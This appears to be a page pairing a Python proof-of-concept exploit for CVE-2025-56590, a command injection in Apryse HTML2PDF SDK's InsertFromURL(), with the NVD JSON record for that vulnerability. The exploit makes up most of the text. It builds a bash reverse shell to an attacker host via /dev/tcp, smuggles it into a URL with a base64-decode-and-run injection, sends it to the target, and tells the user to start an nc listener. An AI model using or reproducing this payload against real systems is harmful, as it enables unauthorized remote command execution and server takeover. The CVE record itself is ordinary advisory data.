CVE-2025-56590

import requests import urllib.parse # CVE-2025-56590 PoC - Apryse HTML2PDF SDK InsertFromURL() Command Injection # Target: Apryse HTML2PDF SDK <= 11.10 def exploit_cve_2025_56590(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2025-56590: Apryse HTML2PDF SDK InsertFromURL() RCE Target: vulnerable Apryse HTML2PDF server Attacker: listening for reverse shell connection """ # Generate malicious URL with command injection payload # Using reverse shell payload (modify for your environment) cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = urllib.parse.quote(cmd) # Alternative: Direct command execution # cmd = "whoami > /tmp/pwned.txt" # Construct the malicious URL (depends on specific implementation) malicious_url = f"http://{attacker_ip}:8080/$(echo {encoded_cmd}|base64 -d|bash)" # Or using pipe/command chaining # malicious_url = f"http://example.com;{cmd}" payload = { "url": malicious_url, "action": "convert" # or appropriate action parameter } try: response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {malicious_url}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://vulnerable-server:8090/api/insertfromurl" lhost = "attacker-ip" lport = "4444" # Start listener: nc -lvnp 4444 exploit_cve_2025_56590(target, lhost, lport)

{"cve": {"id": "CVE-2025-56590", "sourceIdentifier": "[email protected]", "published": "2026-01-22T18:16:42.443", "lastModified": "2026-02-12T15:01:49.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the InsertFromURL() function of the Apryse HTML2PDF SDK thru 11.10. This vulnerability could allow an attacker to execute arbitrary operating system commands on the local server."}, {"lang": "es", "value": "Se descubrió un problema en la función InsertFromURL() del SDK Apryse HTML2PDF hasta la versión 11.10. Esta vulnerabilidad podría permitir a un atacante ejecutar comandos arbitrarios del sistema operativo en el servidor local."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "FB6DEBF8-CD85-485C-8B52-F70A4BE7909B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "CF5C0850-F608-426E-8FD8-AC4E4312E4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5AD5BCA-FF3F-4C6B-91DF-00CA12E4C82E"}]}]}], "references": [{"url": "http://apryse.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.stratascale.com/resource/apryse-server-argument-injection-rce/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}